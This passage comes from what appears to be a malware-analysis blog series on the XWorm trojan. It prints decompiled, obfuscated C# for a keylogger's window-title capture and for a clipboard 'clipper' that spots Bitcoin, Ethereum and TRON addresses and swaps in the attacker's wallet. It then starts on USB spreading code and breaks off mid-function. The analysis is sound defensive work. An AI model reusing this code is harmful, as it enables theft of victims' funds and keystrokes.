</span></span><span class="line"><span class="cl">						<span class="n">streamWriter</span><span class="p">.</span><span class="n">WriteLine</span><span class="p">(</span><span class="n">Environment</span><span class="p">.</span><span class="n">NewLine</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">						<span class="n">streamWriter</span><span class="p">.</span><span class="n">WriteLine</span><span class="p">(</span><span class="s">&#34;###  &#34;</span> <span class="p">+</span> <span class="n">nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj</span><span class="p">.</span><span class="n">HtJ2wEimlN1aODMzVVzPqzHVdv0TmSFsaYB6zL25nSqiwl9pMm4C6hcsw96B9oB794ob0i</span><span class="p">()</span> <span class="p">+</span> <span class="s">&#34; ###&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">						<span class="n">streamWriter</span><span class="p">.</span><span class="n">Write</span><span class="p">(</span><span class="n">RuntimeHelpers</span><span class="p">.</span><span class="n">GetObjectValue</span><span class="p">(</span><span class="n">obj4</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">					<span class="p">}</span>
</span></span><span class="line"><span class="cl">				<span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">...</span>
</span></span><span class="line"><span class="cl"><span class="kd">private</span> <span class="kd">static</span> <span class="kt">string</span> <span class="n">HtJ2wEimlN1aODMzVVzPqzHVdv0TmSFsaYB6zL25nSqiwl9pMm4C6hcsw96B9oB794ob0i</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">		<span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="kt">uint</span> <span class="n">num</span> <span class="p">=</span> <span class="m">0</span><span class="n">U</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">			<span class="kt">string</span> <span class="n">text</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">			<span class="k">try</span>
</span></span><span class="line"><span class="cl">			<span class="p">{</span>
</span></span><span class="line"><span class="cl">				<span class="n">IntPtr</span> <span class="n">intPtr</span> <span class="p">=</span> <span class="n">nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj</span><span class="p">.</span><span class="n">bbQy92NFYzaX</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">				<span class="n">nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj</span><span class="p">.</span><span class="n">xdeCCXgZdixj</span><span class="p">(</span><span class="n">intPtr</span><span class="p">,</span> <span class="k">out</span> <span class="n">num</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">				<span class="kt">object</span> <span class="n">processById</span> <span class="p">=</span> <span class="n">Process</span><span class="p">.</span><span class="n">GetProcessById</span><span class="p">(</span><span class="k">checked</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">num</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">				<span class="kt">object</span> <span class="n">obj</span> <span class="p">=</span> <span class="n">RuntimeHelpers</span><span class="p">.</span><span class="n">GetObjectValue</span><span class="p">(</span><span class="n">NewLateBinding</span><span class="p">.</span><span class="n">LateGet</span><span class="p">(</span><span class="n">processById</span><span class="p">,</span> <span class="kc">null</span><span class="p">,</span> <span class="s">&#34;MainWindowTitle&#34;</span><span class="p">,</span> <span class="k">new</span> <span class="kt">object</span><span class="p">[</span><span class="m">0</span><span class="p">],</span> <span class="kc">null</span><span class="p">,</span> <span class="kc">null</span><span class="p">,</span> <span class="kc">null</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">				<span class="k">if</span> <span class="p">(</span><span class="kt">string</span><span class="p">.</span><span class="n">IsNullOrWhiteSpace</span><span class="p">(</span><span class="n">Conversions</span><span class="p">.</span><span class="n">ToString</span><span class="p">(</span><span class="n">obj</span><span class="p">)))</span>
</span></span><span class="line"><span class="cl">				<span class="p">{</span>
</span></span><span class="line"><span class="cl">					<span class="n">obj</span> <span class="p">=</span> <span class="n">RuntimeHelpers</span><span class="p">.</span><span class="n">GetObjectValue</span><span class="p">(</span><span class="n">NewLateBinding</span><span class="p">.</span><span class="n">LateGet</span><span class="p">(</span><span class="n">processById</span><span class="p">,</span> <span class="kc">null</span><span class="p">,</span> <span class="s">&#34;ProcessName&#34;</span><span class="p">,</span> <span class="k">new</span> <span class="kt">object</span><span class="p">[</span><span class="m">0</span><span class="p">],</span> <span class="kc">null</span><span class="p">,</span> <span class="kc">null</span><span class="p">,</span> <span class="kc">null</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">				<span class="p">}</span>
</span></span><span class="line"><span class="cl">				<span class="n">nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj</span><span class="p">.</span><span class="n">Jqg66CPRiPks</span> <span class="p">=</span> <span class="n">Conversions</span><span class="p">.</span><span class="n">ToString</span><span class="p">(</span><span class="n">obj</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">				<span class="n">text</span> <span class="p">=</span> <span class="n">Conversions</span><span class="p">.</span><span class="n">ToString</span><span class="p">(</span><span class="n">obj</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">			<span class="p">}</span>
</span></span><span class="line"><span class="cl">			<span class="k">catch</span> <span class="p">(</span><span class="n">Exception</span> <span class="n">ex</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">			<span class="p">{</span>
</span></span><span class="line"><span class="cl">				<span class="n">text</span> <span class="p">=</span> <span class="s">&#34;???&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">			<span class="p">}</span>
</span></span><span class="line"><span class="cl">			<span class="k">return</span> <span class="n">text</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span>				</span></span></code></pre></div>
</div>
<h2 id="cryptocurrency-capture">
  Cryptocurrency Capture<a class="heading-anchor" href="#cryptocurrency-capture" aria-label="Link to this section">#</a></h2>
<p>After starting the thread that captures keyboard events (keylogger), XWorm starts a new thread by invoking the function <em>ThPsG0ZcwqMa4kJtYpmfUiZCDYdrN4oqfZTPJXN3GUBU4Fn0jO3gkFsMruRx8UdiBqQKAm</em>.</p>
<p>Upon opening the function, we see that it initializes a form:</p>
<div class="codeblock">
  <div class="codebar">
    <span>c#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c#" data-lang="c#"><span class="line"><span class="cl"><span class="kd">public</span> <span class="kd">static</span> <span class="k">void</span> <span class="n">CaGUhxuUwEJ0</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">		<span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="n">Application</span><span class="p">.</span><span class="n">Run</span><span class="p">(</span><span class="k">new</span> <span class="m">5</span><span class="n">WfMxvD8ofo6</span><span class="p">.</span><span class="n">NotificationForm</span><span class="p">());</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">...</span>
</span></span><span class="line"><span class="cl">			<span class="kd">public</span> <span class="n">NotificationForm</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">			<span class="p">{</span>
</span></span><span class="line"><span class="cl">				<span class="n">Iz7vHvHrDV0G</span><span class="p">.</span><span class="n">NativeMethods</span><span class="p">.</span><span class="n">SetParent</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">Handle</span><span class="p">,</span> <span class="n">Iz7vHvHrDV0G</span><span class="p">.</span><span class="n">NativeMethods</span><span class="p">.</span><span class="n">intpreclp</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">				<span class="n">Iz7vHvHrDV0G</span><span class="p">.</span><span class="n">NativeMethods</span><span class="p">.</span><span class="n">AddClipboardFormatListener</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">Handle</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">			<span class="p">}</span></span></span></code></pre></div>
</div>
<p>If we search online, we can find <a href="https://stackoverflow.com/questions/2226920/how-do-i-monitor-clipboard-content-changes-in-c" rel="noopener noreferrer external" target="_blank">a post from 15 years ago on StackOverflow</a>
 where a user details how to intercept clipboard events:</p>
<div class="codeblock">
  <div class="codebar">
    <span>C#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C#" data-lang="C#"><span class="line"><span class="cl"><span class="kd">private</span> <span class="k">class</span> <span class="nc">NotificationForm</span> <span class="p">:</span> <span class="n">Form</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="kd">public</span> <span class="n">NotificationForm</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="n">NativeMethods</span><span class="p">.</span><span class="n">SetParent</span><span class="p">(</span><span class="n">Handle</span><span class="p">,</span> <span class="n">NativeMethods</span><span class="p">.</span><span class="n">HWND_MESSAGE</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="n">NativeMethods</span><span class="p">.</span><span class="n">AddClipboardFormatListener</span><span class="p">(</span><span class="n">Handle</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="kd">protected</span> <span class="kd">override</span> <span class="k">void</span> <span class="n">WndProc</span><span class="p">(</span><span class="k">ref</span> <span class="n">Message</span> <span class="n">m</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="n">m</span><span class="p">.</span><span class="n">Msg</span> <span class="p">==</span> <span class="n">NativeMethods</span><span class="p">.</span><span class="n">WM_CLIPBOARDUPDATE</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="n">OnClipboardUpdate</span><span class="p">(</span><span class="kc">null</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">            <span class="k">base</span><span class="p">.</span><span class="n">WndProc</span><span class="p">(</span><span class="k">ref</span> <span class="n">m</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span> <span class="c1">//https://stackoverflow.com/questions/2226920/how-do-i-monitor-clipboard-content-changes-in-c</span></span></span></code></pre></div>
</div>
<p>In the user&rsquo;s response, we see that they override the <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nc-winuser-wndproc" rel="noopener noreferrer external" target="_blank">WndProc function</a>
 to determine what to do when an event is intercepted.</p>
<p>Analyzing XWorm&rsquo;s code, we see that it follows the same pattern:</p>
<div class="codeblock">
  <div class="codebar">
    <span>C#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C#" data-lang="C#"><span class="line"><span class="cl"><span class="kd">protected</span> <span class="kd">override</span> <span class="k">void</span> <span class="n">WndProc</span><span class="p">(</span><span class="k">ref</span> <span class="n">Message</span> <span class="n">m</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">			<span class="p">{</span>
</span></span><span class="line"><span class="cl">				<span class="k">if</span> <span class="p">(</span><span class="n">m</span><span class="p">.</span><span class="n">Msg</span> <span class="p">==</span> <span class="m">797</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">				<span class="p">{</span>
</span></span><span class="line"><span class="cl">					<span class="p">...</span>
</span></span><span class="line"><span class="cl">					<span class="k">if</span> <span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">RegexResult</span><span class="p">(</span><span class="n">Iz7vHvHrDV0G</span><span class="p">.</span><span class="n">kHHDOMdskKUn</span><span class="p">)</span> <span class="p">&amp;&amp;</span> <span class="p">!</span><span class="m">5</span><span class="n">WfMxvD8ofo6</span><span class="p">.</span><span class="n">NotificationForm</span><span class="p">.</span><span class="n">currentClipboard</span><span class="p">.</span><span class="n">Contains</span><span class="p">(</span><span class="n">Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec</span><span class="p">.</span><span class="n">fXhxfFj8TkzcJaRHq60e0W7t2kQyE9YQZTdVM</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">					<span class="p">{</span>
</span></span><span class="line"><span class="cl">						<span class="kt">object</span> <span class="n">obj</span> <span class="p">=</span> <span class="n">Iz7vHvHrDV0G</span><span class="p">.</span><span class="n">kHHDOMdskKUn</span><span class="p">.</span><span class="n">Replace</span><span class="p">(</span><span class="m">5</span><span class="n">WfMxvD8ofo6</span><span class="p">.</span><span class="n">NotificationForm</span><span class="p">.</span><span class="n">currentClipboard</span><span class="p">,</span> <span class="n">Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec</span><span class="p">.</span><span class="n">fXhxfFj8TkzcJaRHq60e0W7t2kQyE9YQZTdVM</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">						<span class="n">c5w4szyEibFf</span><span class="p">.</span><span class="n">D2HaAM74L3aY</span><span class="p">(</span><span class="n">Conversions</span><span class="p">.</span><span class="n">ToString</span><span class="p">(</span><span class="n">obj</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">						<span class="n">qe4gu6HK7mzE5kFGCmBEuSbSGKIY7MxNPX5b6TfXVHmB37WsPlzmVaeofkXg7mq0EAbWxF</span><span class="p">.</span><span class="n">nVmqxZmxmh4HlYS6z5190A9nKx8Su5JuwOID9O3UkrjtdYsaTTOaEcOwGcG7A8INOHDbhm</span><span class="p">(</span><span class="n">Conversions</span><span class="p">.</span><span class="n">ToString</span><span class="p">(</span><span class="n">Operators</span><span class="p">.</span><span class="n">ConcatenateObject</span><span class="p">(</span><span class="s">&#34;BTC Clipper &#34;</span> <span class="p">+</span> <span class="m">5</span><span class="n">WfMxvD8ofo6</span><span class="p">.</span><span class="n">NotificationForm</span><span class="p">.</span><span class="n">currentClipboard</span> <span class="p">+</span> <span class="s">&#34; : &#34;</span><span class="p">,</span> <span class="n">obj</span><span class="p">)));</span>
</span></span><span class="line"><span class="cl">					<span class="p">}</span>
</span></span><span class="line"><span class="cl">					<span class="k">if</span> <span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">RegexResult</span><span class="p">(</span><span class="n">Iz7vHvHrDV0G</span><span class="p">.</span><span class="n">eEjYtL8MRBr2</span><span class="p">)</span> <span class="p">&amp;&amp;</span> <span class="p">!</span><span class="m">5</span><span class="n">WfMxvD8ofo6</span><span class="p">.</span><span class="n">NotificationForm</span><span class="p">.</span><span class="n">currentClipboard</span><span class="p">.</span><span class="n">Contains</span><span class="p">(</span><span class="n">Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec</span><span class="p">.</span><span class="n">ErPBuuVqXFqHbYonPuxe4T4ztv3SlmKMArdQT</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">					<span class="p">{</span>
</span></span><span class="line"><span class="cl">						<span class="kt">object</span> <span class="n">obj2</span> <span class="p">=</span> <span class="n">Iz7vHvHrDV0G</span><span class="p">.</span><span class="n">eEjYtL8MRBr2</span><span class="p">.</span><span class="n">Replace</span><span class="p">(</span><span class="m">5</span><span class="n">WfMxvD8ofo6</span><span class="p">.</span><span class="n">NotificationForm</span><span class="p">.</span><span class="n">currentClipboard</span><span class="p">,</span> <span class="n">Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec</span><span class="p">.</span><span class="n">ErPBuuVqXFqHbYonPuxe4T4ztv3SlmKMArdQT</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">						<span class="n">c5w4szyEibFf</span><span class="p">.</span><span class="n">D2HaAM74L3aY</span><span class="p">(</span><span class="n">Conversions</span><span class="p">.</span><span class="n">ToString</span><span class="p">(</span><span class="n">obj2</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">						<span class="n">qe4gu6HK7mzE5kFGCmBEuSbSGKIY7MxNPX5b6TfXVHmB37WsPlzmVaeofkXg7mq0EAbWxF</span><span class="p">.</span><span class="n">nVmqxZmxmh4HlYS6z5190A9nKx8Su5JuwOID9O3UkrjtdYsaTTOaEcOwGcG7A8INOHDbhm</span><span class="p">(</span><span class="n">Conversions</span><span class="p">.</span><span class="n">ToString</span><span class="p">(</span><span class="n">Operators</span><span class="p">.</span><span class="n">ConcatenateObject</span><span class="p">(</span><span class="s">&#34;ETH Clipper &#34;</span> <span class="p">+</span> <span class="m">5</span><span class="n">WfMxvD8ofo6</span><span class="p">.</span><span class="n">NotificationForm</span><span class="p">.</span><span class="n">currentClipboard</span> <span class="p">+</span> <span class="s">&#34; : &#34;</span><span class="p">,</span> <span class="n">obj2</span><span class="p">)));</span>
</span></span><span class="line"><span class="cl">					<span class="p">}</span>
</span></span><span class="line"><span class="cl">					<span class="k">if</span> <span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">RegexResult</span><span class="p">(</span><span class="n">Iz7vHvHrDV0G</span><span class="p">.</span><span class="n">saRbJz6ZQ0Rw</span><span class="p">)</span> <span class="p">&amp;&amp;</span> <span class="p">!</span><span class="m">5</span><span class="n">WfMxvD8ofo6</span><span class="p">.</span><span class="n">NotificationForm</span><span class="p">.</span><span class="n">currentClipboard</span><span class="p">.</span><span class="n">Contains</span><span class="p">(</span><span class="n">Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec</span><span class="p">.</span><span class="m">1</span><span class="n">W1aoVjAWOEpcuqC9Lkxd3rmAEv3ya0L3KbR8</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">					<span class="p">{</span>
</span></span><span class="line"><span class="cl">						<span class="kt">object</span> <span class="n">obj3</span> <span class="p">=</span> <span class="n">Iz7vHvHrDV0G</span><span class="p">.</span><span class="n">saRbJz6ZQ0Rw</span><span class="p">.</span><span class="n">Replace</span><span class="p">(</span><span class="m">5</span><span class="n">WfMxvD8ofo6</span><span class="p">.</span><span class="n">NotificationForm</span><span class="p">.</span><span class="n">currentClipboard</span><span class="p">,</span> <span class="n">Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec</span><span class="p">.</span><span class="m">1</span><span class="n">W1aoVjAWOEpcuqC9Lkxd3rmAEv3ya0L3KbR8</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">						<span class="n">c5w4szyEibFf</span><span class="p">.</span><span class="n">D2HaAM74L3aY</span><span class="p">(</span><span class="n">Conversions</span><span class="p">.</span><span class="n">ToString</span><span class="p">(</span><span class="n">obj3</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">						<span class="n">qe4gu6HK7mzE5kFGCmBEuSbSGKIY7MxNPX5b6TfXVHmB37WsPlzmVaeofkXg7mq0EAbWxF</span><span class="p">.</span><span class="n">nVmqxZmxmh4HlYS6z5190A9nKx8Su5JuwOID9O3UkrjtdYsaTTOaEcOwGcG7A8INOHDbhm</span><span class="p">(</span><span class="n">Conversions</span><span class="p">.</span><span class="n">ToString</span><span class="p">(</span><span class="n">Operators</span><span class="p">.</span><span class="n">ConcatenateObject</span><span class="p">(</span><span class="s">&#34;TRC20 Clipper &#34;</span> <span class="p">+</span> <span class="m">5</span><span class="n">WfMxvD8ofo6</span><span class="p">.</span><span class="n">NotificationForm</span><span class="p">.</span><span class="n">currentClipboard</span> <span class="p">+</span> <span class="s">&#34; : &#34;</span><span class="p">,</span> <span class="n">obj3</span><span class="p">)));</span>
</span></span><span class="line"><span class="cl">					<span class="p">}</span>
</span></span><span class="line"><span class="cl">				<span class="p">}</span>
</span></span><span class="line"><span class="cl">				<span class="k">base</span><span class="p">.</span><span class="n">WndProc</span><span class="p">(</span><span class="k">ref</span> <span class="n">m</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">			<span class="p">}</span></span></span></code></pre></div>
</div>
<p>The message type 797 is 0x031D in hexadecimal, <a href="https://learn.microsoft.com/en-us/windows/win32/dataxchg/wm-clipboardupdate?redirectedfrom=MSDN" rel="noopener noreferrer external" target="_blank">which corresponds to WM_CLIPBOARDUPDATE</a>
.</p>
<p>The function <em>RegexResult</em> looks for patterns in the clipboard content that are associated with cryptocurrency wallets:</p>
<div class="codeblock">
  <div class="codebar">
    <span>c#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c#" data-lang="c#"><span class="line"><span class="cl">		<span class="kd">private</span> <span class="kt">bool</span> <span class="n">RegexResult</span><span class="p">(</span><span class="n">Regex</span> <span class="n">pattern</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">			<span class="p">{</span>
</span></span><span class="line"><span class="cl">				<span class="k">return</span> <span class="n">pattern</span><span class="p">.</span><span class="n">Match</span><span class="p">(</span><span class="m">5</span><span class="n">WfMxvD8ofo6</span><span class="p">.</span><span class="n">NotificationForm</span><span class="p">.</span><span class="n">currentClipboard</span><span class="p">).</span><span class="n">Success</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">			<span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">...</span>
</span></span><span class="line"><span class="cl">		<span class="kd">public</span> <span class="kd">static</span> <span class="k">readonly</span> <span class="n">Regex</span> <span class="n">kHHDOMdskKUn</span> <span class="p">=</span> <span class="k">new</span> <span class="n">Regex</span><span class="p">(</span><span class="s">&#34;\\b(bc1|[13])[a-zA-HJ-NP-Z0-9]{26,45}\\b&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">		<span class="kd">public</span> <span class="kd">static</span> <span class="k">readonly</span> <span class="n">Regex</span> <span class="n">eEjYtL8MRBr2</span> <span class="p">=</span> <span class="k">new</span> <span class="n">Regex</span><span class="p">(</span><span class="s">&#34;\\b(0x)[a-zA-HJ-NP-Z0-9]{40,45}\\b&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">		<span class="kd">public</span> <span class="kd">static</span> <span class="k">readonly</span> <span class="n">Regex</span> <span class="n">saRbJz6ZQ0Rw</span> <span class="p">=</span> <span class="k">new</span> <span class="n">Regex</span><span class="p">(</span><span class="s">&#34;T[A-Za-z1-9]{33}&#34;</span><span class="p">);</span></span></span></code></pre></div>
</div>
<p>The first pattern corresponds to Bitcoin wallets, the second to Ethereum, and the third to TRON.</p>
<p>XWorm analyzes if the clipboard content is associated with one of these wallets and if it does not match certain specific values. If both conditions are met, it replaces the clipboard content with values stored encrypted in the malware&rsquo;s code; these values were decrypted in memory when the malware was started and correspond to Bitcoin, Ethereum, and TRON wallets, respectively.</p>
<p>In summary, XWorm does the following:</p>
<ol>
<li>Intercepts the clipboard content (when someone clicks &ldquo;copy&rdquo; or presses Control+C).</li>
<li>Checks if the clipboard content matches the pattern of a cryptocurrency wallet.</li>
<li>If so, it modifies the clipboard content to contain the attacker&rsquo;s wallet.</li>
</ol>
<p>Since cryptocurrency wallets do not follow intuitive names and are composed of alphanumeric values, people usually copy and paste these values from their cryptocurrency manager/seller websites/chats; the attacker takes advantage of this behavior to replace the user&rsquo;s wallet without them noticing, thus getting the funds transferred to them.</p>
<h2 id="next-steps">
  Next Steps<a class="heading-anchor" href="#next-steps" aria-label="Link to this section">#</a></h2>
<p>XWorm continues to prove itself as a versatile malware with multiple capabilities; from infection through USBs, cryptocurrency theft, to keylogging, XWorm highlights the various opportunities an attacker seeks to obtain something from their victim.</p>
<p>In the next article, we will look at how XWorm notifies that it has infected a new victim, as well as how it updates itself.</p>
]]></content:encoded></item><item><title>009 - Decoding XWorm: Lateral Movement</title><link>https://www.threatanatomy.com/p/009-xworm-4/</link><pubDate>Tue, 18 Feb 2025 12:08:00 -0500</pubDate><guid>https://www.threatanatomy.com/p/009-xworm-4/</guid><description>In this article, we explore how XWorm uses USBs to spread to other machines.</description><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<h2 id="introduction">
  Introduction<a class="heading-anchor" href="#introduction" aria-label="Link to this section">#</a></h2>
<p>In the previous article, we explored how XWorm ensures its continuous presence on the infected machine through persistence techniques. In this article, we will examine how it spreads to other devices.</p>
<h2 id="lateral-movement">
  Lateral Movement<a class="heading-anchor" href="#lateral-movement" aria-label="Link to this section">#</a></h2>
<blockquote>
<p>Lateral movement is a tactic used by attackers to navigate within a network and infect new devices. An attacker can employ multiple lateral movement techniques depending on the type of attack, such as exploiting a vulnerability (EternalBlue in the case of WannaCry), abusing authentication mechanisms (Pass The Hash), leveraging native functionalities (network shares), etc.</p>
</blockquote>
<p>Once persistence techniques are established, the malware invokes the function <em>q09aZ2HxLB2r7DZRcQehSbnhQjcv68H13cng3irqozRXULuHcNHm5TSVp2VEGsuyIEpZkX</em>, which starts a new thread using the <a href="https://learn.microsoft.com/en-us/dotnet/api/system.threading.threadstart?view=net-9.0" rel="noopener noreferrer external" target="_blank">ThreadStart delegate</a>
:</p>
<div class="codeblock">
  <div class="codebar">
    <span>c#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c#" data-lang="c#"><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">public</span> <span class="kd">static</span> <span class="k">void</span> <span class="n">q09aZ2HxLB2r7DZRcQehSbnhQjcv68H13cng3irqozRXULuHcNHm5TSVp2VEGsuyIEpZkX</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">		<span class="p">{</span>
</span></span><span class="line"><span class="cl"><span class="n">class</span><span class="p">.</span><span class="n">thread</span> <span class="p">=</span> <span class="k">new</span> <span class="n">Thread</span><span class="p">(</span><span class="k">new</span> <span class="n">ThreadStart</span><span class="p">(</span><span class="n">class</span><span class="p">.</span><span class="n">OVMC1Fmt8BEASWtkTmyib2IUFrWOtmx7FGoedl9gRkXD7XxBy3Yj6JjQygUC7lxawpLMik</span><span class="p">),</span> <span class="m">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">				<span class="n">class</span><span class="p">.</span><span class="n">thread</span><span class="p">.</span><span class="n">Start</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">			<span class="p">}</span></span></span></code></pre></div>
</div>
<p>When calling the <code>Thread.Start</code> method, the function <em>OVMC1Fmt8BEASWtkTmyib2IUFrWOtmx7FGoedl9gRkXD7XxBy3Yj6JjQygUC7lxawpLMik</em> is invoked, which performs the lateral movement.</p>
<p>Upon an initial review of the function, we notice that it is significantly more difficult to analyze compared to the rest of the code we have examined so far:</p>
<div class="codeblock">
  <div class="codebar">
    <span>c#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c#" data-lang="c#"><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">private</span> <span class="kd">static</span> <span class="k">void</span> <span class="n">OVMC1Fmt8BEASWtkTmyib2IUFrWOtmx7FGoedl9gRkXD7XxBy3Yj6JjQygUC7lxawpLMik</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">		<span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="kt">int</span> <span class="n">num2</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">			<span class="kt">int</span> <span class="n">num4</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">			<span class="kt">object</span> <span class="n">obj7</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">			<span class="k">try</span>
</span></span><span class="line"><span class="cl">			<span class="p">{</span>
</span></span><span class="line"><span class="cl">				<span class="n">IL_0000</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">				<span class="kt">int</span> <span class="n">num</span> <span class="p">=</span> <span class="m">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">				<span class="kt">object</span> <span class="n">objectValue</span> <span class="p">=</span> <span class="n">RuntimeHelpers</span><span class="p">.</span><span class="n">GetObjectValue</span><span class="p">(</span><span class="n">Interaction</span><span class="p">.</span><span class="n">CreateObject</span><span class="p">(</span><span class="s">&#34;wscript.shell&#34;</span><span class="p">,</span> <span class="s">&#34;&#34;</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">				<span class="n">IL_0018</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">				<span class="k">checked</span>
</span></span><span class="line"><span class="cl">				<span class="p">{</span>
</span></span><span class="line"><span class="cl">					<span class="k">for</span> <span class="p">(;;)</span>
</span></span><span class="line"><span class="cl">					<span class="p">{</span>
</span></span><span class="line"><span class="cl">						<span class="n">IL_074D</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">						<span class="n">num</span> <span class="p">=</span> <span class="m">3</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">						<span class="k">if</span> <span class="p">(!</span><span class="kc">true</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">						<span class="p">{</span>
</span></span><span class="line"><span class="cl">							<span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">						<span class="p">}</span>
</span></span><span class="line"><span class="cl">						<span class="n">IL_001D</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">						<span class="n">ProjectData</span><span class="p">.</span><span class="n">ClearProjectError</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">						<span class="n">num2</span> <span class="p">=</span> <span class="m">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">						<span class="n">IL_0025</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">						<span class="n">num</span> <span class="p">=</span> <span class="m">5</span><span class="p">;</span>
